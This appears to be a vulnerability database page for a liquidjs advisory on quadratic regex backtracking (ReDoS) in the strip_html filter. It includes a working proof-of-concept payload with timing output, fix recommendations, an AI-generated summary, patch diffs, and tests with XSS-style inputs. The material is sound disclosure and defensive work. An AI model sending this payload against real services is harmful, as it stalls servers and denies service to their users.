VYPR
High severity7.5GHSA Advisory· Published May 27, 2026

LiquidJS Vulnerable to ReDoS via Quadratic Backtracking in `strip_html` Filter Regex

CVE-2026-45617

Description

Summary

The built-in strip_html filter in liquidjs uses a regex containing four lazy-quantified alternatives. When the input contains many <script, <style, or <!-- opener tokens without matching closers, the V8 regex engine performs O(N²) backtracking, blocking the Node.js event loop. A single ~350 KB request ('<script'.repeat(50000)) stalls the process for ~10 seconds; cost grows quadratically with input size. The default memoryLimit: Infinity does not bound regex CPU, and even when configured strip_html only charges str.length to the limit — the regex itself runs unbounded.

Details

The vulnerable filter is at src/filters/html.ts:45-49:

export function strip_html (this: FilterImpl, v: string) {
  const str = stringify(v)
  this.context.memoryLimit.use(str.length)
  return str.replace(/<script[\s\S]*?<\/script>|<style[\s\S]*?<\/style>|<.*?>|<!--[\s\S]*?-->/g, '')
}

The regex contains four lazy patterns: 1. <script[\s\S]*?<\/script> 2. <style[\s\S]*?<\/style> 3. <.*?> 4. <!--[\s\S]*?-->

For an input like '<script'.repeat(N), the engine encounters N starting < positions. At each one it must lazily expand [\s\S]*? (and .*?) all the way to end-of-input searching for a closer that never appears, then fail and backtrack. Because each of the O(N) starts performs O(N) lazy-expansion work, total work is O(N²).

Reachability: 1. strip_html is a default-registered filter (exported from src/filters/html.ts, wired up via src/filters/index.ts), invocable from any template via {{ x | strip_html }}. 2. The filter calls String.prototype.replace with the vulnerable regex directly on the caller-supplied string, with no length cap and no timeout. 3. The default memoryLimit is Infinity (src/liquid-options.ts:198); the filter only charges str.length against memory (line 47), which does not bound CPU work for regex backtracking.

This is distinct from GHSA-45rm-2893-5f49 (prototype property leak, CWE-200) and from any prior replace/strip_html issues — the mechanism here is regex backtracking CPU consumption on a different filter.

PoC

Empirical scaling confirmed against a freshly built liquidjs@10.25.7 bundle on Node 22 / Linux:

node -e "
const { Liquid } = require('liquidjs');
const e = new Liquid();
(async () => {
  for (const n of [1000, 2000, 4000, 8000, 16000]) {
    const payload = '<script'.repeat(n);
    const t0 = Date.now();
    await e.parseAndRender('{{ x | strip_html }}', { x: payload });
    console.log('n=' + n + ' inputLen=' + payload.length + ' ms=' + (Date.now() - t0));
  }
})();
"

Verified output: `` n=1000 inputLen=7000 ms=5 n=2000 inputLen=14000 ms=12 (2.4x for 2x size) n=4000 inputLen=28000 ms=46 (3.8x for 2x size) n=8000 inputLen=56000 ms=187 (4.0x for 2x size) n=16000 inputLen=112000 ms=737 (3.9x for 2x size) ``

A larger payload extrapolates straightforwardly: ``bash node -e " const { Liquid } = require('liquidjs'); const e = new Liquid(); (async () => { const payload = '<script'.repeat(50000); // 350 KB const t0 = Date.now(); await e.parseAndRender('{{ x | strip_html }}', { x: payload }); console.log('elapsed ms:', Date.now() - t0); })(); " # elapsed ms: ~10000+ (Node single-threaded event loop fully blocked) ``

The same pathology applies to <style and <!-- openers.

Impact

  • Single-request DoS: A 350 KB request body stalls the Node.js event loop for ~10 seconds; 700 KB takes ~40 s; 1.4 MB takes ~160 s. All other requests on the process queue behind the regex.
  • Trivial amplification: Quadratic scaling means small attacker bandwidth produces large server CPU consumption. A handful of concurrent requests fully saturates the worker.
  • No authentication required: The typical use case for strip_html is sanitizing untrusted input (comments, posts, profile bios, product descriptions). Any endpoint that renders user content through strip_html is exposed.
  • memoryLimit doesn't help: Even applications that opt into memoryLimit are not protected, because (a) the regex CPU runs to completion before any output is produced, and (b) only str.length is charged, not the cost of the regex traversal.

Recommended

Fix

Replace the backtracking regex with an atomic / non-overlapping pattern, and/or perform a single linear pass.

Option 1 — anchor each alternative so lazy expansion fails fast on chunked content (no [\s\S]*? over the full tail): ``ts return str.replace( /<script\b[^<]*(?:<(?!\/script>)[^<]*)*<\/script>|<style\b[^<]*(?:<(?!\/style>)[^<]*)*<\/style>|<!--[^-]*(?:-(?!->)[^-]*)*-->|<[^>]*>/g, '' ) ``

This unrolls each lazy quantifier so each < is visited at most a constant number of times overall — linear total work.

Option 2 — single-pass tokenizer in plain code; iterate over the string once, tracking whether you are inside `, `, comment, or generic tag, and emit nothing for those ranges.

Either fix should be combined with charging the regex output cost honestly to memoryLimit and (defensively) capping input length up front: ``ts export function strip_html (this: FilterImpl, v: string) { const str = stringify(v) this.context.memoryLimit.use(str.length) // ... linear-time strip implementation here } ``

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

The `strip_html` filter in liquidjs uses a regex with lazy quantifiers causing O(N²) backtracking, enabling a ReDoS attack that blocks the Node.js event loop.

Vulnerability

The built-in strip_html filter in liquidjs (version prior to 10.26.0) uses a regex with four lazy-quantified alternatives at src/filters/html.ts:45-49. The regex pattern is: /script[\s\S]*?\/script>|style[\s\S]*?\/style>|<.*?>|<!--[\s\S]*?-->/g. When an input contains many <script, <style, or <!-- opener tokens without matching closers, the V8 regex engine performs quadratic (O(N²)) backtracking. The filter is a default-registered filter, invocable from any template via {{ x | strip_html }} [1][2].

Exploitation

An attacker can send a crafted request containing a payload such as '<script'.repeat(50000) (~350 KB). This input causes the regex engine to encounter many starting < positions that require lazy expansion to the end of input searching for a non-existent closer, then backtrack. Each of the O(N) starts performs O(N) work, resulting in a ~10 second stall for the Node.js event loop [1][2].

Impact

Successful exploitation blocks the Node.js event loop, causing a Denial of Service (DoS). A single request makes the process unresponsive for an extended duration, impacting availability of the application. No authentication or special privileges are required if the filter is applied to user-controlled input [1][2].

Mitigation

The vulnerability is fixed in liquidjs version 10.26.0, released 2026-05-14, which rewrites strip_html as a linear single-pass scan to avoid ReDoS [3]. Users should upgrade to 10.26.0 or later. For environments that cannot upgrade, avoid applying strip_html to untrusted user input or implement an input-length limit [1].

AI Insight generated on May 27, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

2

Patches

2
3616a744b9ab

fix(strip_html): rewrite as linear single-pass scan to avoid ReDoS (#896)

https://github.com/harttle/liquidjsYang JunMay 11, 2026Fixed in 10.26.0via llm-release-walk
3 files changed · +46 1
  • src/filters/html.ts+18 1 modified
    @@ -42,8 +42,25 @@ export function newline_to_br (this: FilterImpl, v: string) {
       return str.replace(/\r?\n/gm, '<br />\n')
     }
     
    +// Raw-text blocks (HTML5) plus '<...>' as the catch-all kind; a regex
    +// equivalent is O(n^2) in V8 on unclosed openers.
     export function strip_html (this: FilterImpl, v: string) {
       const str = stringify(v)
       this.context.memoryLimit.use(str.length)
    -  return str.replace(/<script[\s\S]*?<\/script>|<style[\s\S]*?<\/style>|<[\s\S]*?>|<!--[\s\S]*?-->/g, '')
    +  const blocks = new Map([['<script', '</script>'], ['<style', '</style>'], ['<!--', '-->'], ['<', '>']])
    +  let out = ''
    +  let i = 0
    +  while (i < str.length) {
    +    const lt = str.indexOf('<', i)
    +    if (lt < 0) return out + str.slice(i)
    +    out += str.slice(i, lt)
    +    for (const [opener, closer] of blocks) {
    +      if (!str.startsWith(opener, lt)) continue
    +      const e = str.indexOf(closer, lt + opener.length)
    +      if (e >= 0) { i = e + closer.length; break }
    +      blocks.delete(opener)
    +    }
    +    if (i === lt) return out + str.slice(lt)
    +  }
    +  return out
     }
    
  • test/integration/filters/html.spec.ts+3 0 modified
    @@ -57,6 +57,9 @@ describe('filters/html', function () {
         it('should strip multiline comments', function () {
           expect(liquid.parseAndRenderSync('{{"<!--foo\r\nbar \ncoo\t  \r\n  -->"|strip_html}}')).toBe('')
         })
    +    it('should treat > inside comments as comment content (not a tag end)', function () {
    +      expect(liquid.parseAndRenderSync('{{ "<!-- a > b -->after" | strip_html }}')).toBe('after')
    +    })
         it('should strip all style tags and their contents', function () {
           return test('{{ "<style>cite { font-style: italic; }</style><cite>Ulysses<cite>?" | strip_html }}',
             'Ulysses?')
    
  • test/integration/liquid/dos.spec.ts+25 0 modified
    @@ -79,5 +79,30 @@ describe('DoS related', function () {
           await expect(liquid.parseAndRender(src, { array, count: 3 })).resolves.toBe('a a a a a a a a')
           await expect(liquid.parseAndRender(src, { array, count: 100 })).rejects.toThrow('memory alloc limit exceeded, line:1, col:26')
         })
    +    it('should charge strip_html input length to memoryLimit', () => {
    +      const liquid = new Liquid({ memoryLimit: 100 })
    +      expect(() => liquid.parseAndRenderSync('{{ s | strip_html }}', { s: 'a'.repeat(200) }))
    +        .toThrow('memory alloc limit exceeded')
    +    })
    +  })
    +  describe('strip_html ReDoS', () => {
    +    // Regression for O(n^2) backtracking on unclosed `<script` / `<style` openers.
    +    // The previous regex stalled the event loop for ~10s on 350KB of `'<script'.repeat`.
    +    // The per-test timeout below caps total time; an O(n^2) regression would blow it.
    +    it('should handle many unclosed <script openers in linear time', () => {
    +      const liquid = new Liquid()
    +      const payload = '<script'.repeat(50000)
    +      expect(liquid.parseAndRenderSync('{{ x | strip_html }}', { x: payload })).toBe(payload)
    +    }, 1000)
    +    it('should handle many unclosed <style openers in linear time', () => {
    +      const liquid = new Liquid()
    +      const payload = '<style'.repeat(50000)
    +      expect(liquid.parseAndRenderSync('{{ x | strip_html }}', { x: payload })).toBe(payload)
    +    }, 1000)
    +    it('should handle <script openers that have > but no </script> in linear time', () => {
    +      const liquid = new Liquid()
    +      const payload = '<script>foo'.repeat(50000)
    +      expect(liquid.parseAndRenderSync('{{ x | strip_html }}', { x: payload })).toBe('foo'.repeat(50000))
    +    }, 1000)
       })
     })
    
26ea2856c7a9

fix: strip html newline tags (#892)

https://github.com/harttle/liquidjsYang JunMay 3, 2026Fixed in 10.26.0via llm-release-walk
2 files changed · +6 1
  • src/filters/html.ts+1 1 modified
    @@ -45,5 +45,5 @@ export function newline_to_br (this: FilterImpl, v: string) {
     export function strip_html (this: FilterImpl, v: string) {
       const str = stringify(v)
       this.context.memoryLimit.use(str.length)
    -  return str.replace(/<script[\s\S]*?<\/script>|<style[\s\S]*?<\/style>|<.*?>|<!--[\s\S]*?-->/g, '')
    +  return str.replace(/<script[\s\S]*?<\/script>|<style[\s\S]*?<\/style>|<[\s\S]*?>|<!--[\s\S]*?-->/g, '')
     }
    
  • test/integration/filters/html.spec.ts+5 0 modified
    @@ -77,5 +77,10 @@ describe('filters/html', function () {
         it('should strip until empty', function () {
           return test('{{"<br/><br />< p ></p></ p >" | strip_html }}', '')
         })
    +    it('should strip generic tags spanning ASCII newlines inside the tag', function () {
    +      expect(liquid.parseAndRenderSync('{{"<img\nsrc=x\nonerror=alert(1)>" | strip_html}}')).toBe('')
    +      expect(liquid.parseAndRenderSync('{{"<img\rsrc=x\ronerror=alert(1)>" | strip_html}}')).toBe('')
    +      expect(liquid.parseAndRenderSync('{{"<svg\nonload=alert(1)>" | strip_html}}')).toBe('')
    +    })
       })
     })
    

Vulnerability mechanics

Root cause

"The `strip_html` filter uses a regex with lazy-quantified alternatives (`[\s\S]*?`, `.*?`) that cause O(N²) backtracking in the V8 regex engine when input contains many `<script`, `<style`, or `<!--` tokens without matching closers."

Attack vector

An attacker sends a crafted string containing many `<script` (or `<style` or `<!--`) opener tokens with no matching closer to any endpoint that renders user-controlled content through the `{{ x | strip_html }}` filter [ref_id=1]. The filter calls `String.prototype.replace` with the vulnerable regex directly on the attacker-supplied string with no length cap or timeout [ref_id=1]. For each `<` position, the regex engine lazily expands `[\s\S]*?` to end-of-input searching for a closer that never appears, then backtracks — producing O(N²) work [ref_id=1]. A single ~350 KB payload (`'<script'.repeat(50000)`) blocks the Node.js event loop for ~10 seconds; cost grows quadratically with input size [ref_id=1]. No authentication is required because `strip_html` is typically used to sanitize untrusted user input such as comments, posts, and profile bios [ref_id=1].

Affected code

The vulnerable filter is at `src/filters/html.ts:45-49` in the `strip_html` function [ref_id=1]. The function calls `str.replace(/<script[\s\S]*?<\/script>|<style[\s\S]*?<\/style>|<.*?>|<!--[\s\S]*?-->/g, '')` — a regex containing four lazy-quantified alternatives [ref_id=1]. The filter is a default-registered filter exported from `src/filters/html.ts` and wired up via `src/filters/index.ts`, invocable from any template via `{{ x | strip_html }}` [ref_id=1].

What the fix does

The advisory recommends replacing the backtracking regex with an atomic, non-overlapping pattern that unrolls each lazy quantifier so each `<` character is visited at most a constant number of times, achieving linear total work [ref_id=1]. Option 1 uses anchored alternatives like `<script\b[^<]*(?:<(?!\/script>)[^<]*)*<\/script>` that fail fast on chunked content instead of scanning to end-of-input [ref_id=1]. Option 2 replaces the regex entirely with a single-pass tokenizer that iterates over the string once, tracking whether the parser is inside a `<script>`, `<style>`, comment, or generic tag [ref_id=1]. Either fix should also charge the regex output cost honestly to `memoryLimit` and defensively cap input length up front [ref_id=1]. The two referenced patches ([patch_id=2725552], [patch_id=2725551]) implement this fix in the liquidjs repository.

Preconditions

  • configThe application must render user-controlled input through the `strip_html` filter (e.g., `{{ user_input | strip_html }}`).
  • authNo authentication is required; the typical use case for `strip_html` is sanitizing untrusted input such as comments, posts, and profile bios.
  • inputThe attacker must be able to send a string containing many `<script`, `<style`, or `<!--` opener tokens without matching closers.
  • configThe default `memoryLimit: Infinity` does not bound regex CPU; even when configured, `strip_html` only charges `str.length` to the limit, not the cost of regex traversal.

Reproduction

```bash node -e " const { Liquid } = require('liquidjs'); const e = new Liquid(); (async () => { const payload = '<script'.repeat(50000); // 350 KB const t0 = Date.now(); await e.parseAndRender('{{ x | strip_html }}', { x: payload }); console.log('elapsed ms:', Date.now() - t0); })(); " ```

Generated on May 27, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

3

News mentions

0

No linked articles in our index yet.